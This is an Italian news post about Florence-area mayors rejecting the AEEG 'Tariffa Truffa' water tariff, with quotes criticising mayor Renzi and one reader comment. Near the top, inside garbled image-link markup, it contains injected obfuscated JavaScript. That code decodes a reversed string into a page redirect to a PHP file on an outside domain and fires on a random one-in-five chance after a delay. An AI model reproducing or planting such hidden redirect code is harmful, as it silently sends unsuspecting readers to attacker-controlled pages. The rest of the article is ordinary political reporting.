Renzi perde la battaglia dell'Acqua. La "Tariffa Truffa" non passa.

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2013/04/acqua1.jpg”>Acqua: Il dissenso dei Comuni contro la “Tariffa Truffa”: un’onda che cresce di giorno in giorno. Anche l’ex Ato 3 – Firenze, Prato e Pistoia – contro le logiche del profitto nella gestione dell’acqua. De Zordo: “Il sindaco “innovatore” lo sia solo a favore di telecamere, mentre nelle politiche quotidiane non riesce ad andare oltre la conservazione di uno status quo che avvantaggia i poteri economici e contrasta i bisogni, anche economici, dei cittadini e delle cittadine colpiti dalla crisi.”

Dai comunicati stampa del Forum Italiano e Toscano dei Movimenti per l’Acqua e di perUnaltracittà

Sono sempre di più gli enti locali italiani che prendono posizione contro la nuova tariffa dell’AEEG per il servizio idrico, la stessa che il Forum Italiano dei Movimenti per l’Acqua definì “Tariffa Truffa” subito dopo la sua pubblicazione.

La conferenza dei Sindaci dell’ex ATO 3 Toscana (Firenze, Prato e Pistoia, gestione Publiacqua) riunitasi oggi ha detto no alla tariffa voluta dall’AEEG. Lo scorso martedì i sindaci dei Comuni della provincia di Arezzo l’avevano bocciata a grande maggioranza e ieri anche il Comune di Montecatini Terme (PT) ha preso posizione contro il sistema tariffario deliberato dall’AEEG approvando all’unanimità una mozione contro la tariffa truffa. Se ci spostiamo in Emilia Romagna la musica non cambia: i sindaci Piacentini, poche settimane fa, hanno redatto un documento di fuoco contro il nuovo metodo tariffario transitorio a fronte di 12 milioni di mancati investimenti nel territorio piacentino negli stessi giorni in cui i sindaci della provincia di Reggio Emilia hanno sonoramente bocciato la nuova tariffa. Tutte le riunioni dei Comuni sono state accompagnate dalle mobilitazioni dei Comitati per l’acqua pubblica che hanno ribadito come il metodo tariffario predisposto dall’Authority sia in esplicito contrasto con l’esito referendario.

Finalmente, dopo la sentenza del TAR Toscano del 21 marzo scorso, in cui è stato ribadito che la finalità, perseguita con il quesito referendario avente ad oggetto l’art. 154 del d.lgs. n. 152/2006, era di “rendere estraneo alle logiche del profitto il governo e la gestione dell’acqua” (Corte Costituzionale, 26.1.2011, n. 26) e che questo risultato doveva essere dichiarato applicabile a partire dal 21 luglio 2011, comincia a essere la volontà dalla parte di vari sindaci di applicare l’esito referendario anche in Toscana. Si è cominciato con i comuni della provincia di Arezzo e adesso con quelli dell’area Fiorentina dove è stato messa in minoranza la volontà di Firenze di fare utili attraverso la gestione dell’acqua piuttosto che di perseguire la ricerca del bene comuni.

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“Il sindaco Renzi ha perso oggi la battaglia della “Tariffa Truffa” sull’acqua. La conferenza dei Sindaci dell’ex ATO 3 – quello che comprende il capoluogo ed è gestito da Publiacqua – ha infatti bocciato la nuova tariffa voluta per il servizio idrico dall’Autorità dell’Energia e del gas (AEEG). Tutti i Comuni dell’ATO hanno sostenuto le posizioni del Forum Italiano dei Movimenti dell’Acqua, con i quali hanno iniziato un dialogo, tranne quelli di Firenze e Borgo San Lorenzo. Un’altra dimostrazione di come il sindaco “innovatore” lo sia solo a favore di telecamere, mentre nelle politiche quotidiane non riesce ad andare oltre la conservazione di uno status quo che avvantaggia i poteri economici e contrasta i bisogni, anche economici, dei cittadini e delle cittadine colpiti dalla crisi.”

Lo ha detto Ornella De Zordo oggi pomeriggio commentando la notizia della bocciatura della “Tariffa Truffa”. “Ancora una volta – ha concluso la capogruppo di perUnaltracittà a Palazzo Vecchio – le mobilitazioni dei Comitati per l’acqua pubblica hanno avuto un ruolo determinante nel bloccare quegli amministratori che vogliono negare a tutti i costi gli esiti dei referendum del 2011”

0 Comments

  1. Roberto Santini

    nella lista di qulli da rottamare, il promorote Renzi dovrebbe essere il primo vista la scelta di proteggere Publiacqua nell'applicazione delle tariffe illegali difese per puro interesse economico vista la compartecipazione nella Società per Azioni, in pieno conflitto d'interessi, come è sempre stato per tutti quelli che vuole rottameare.
    Bravo, veramente bravo!

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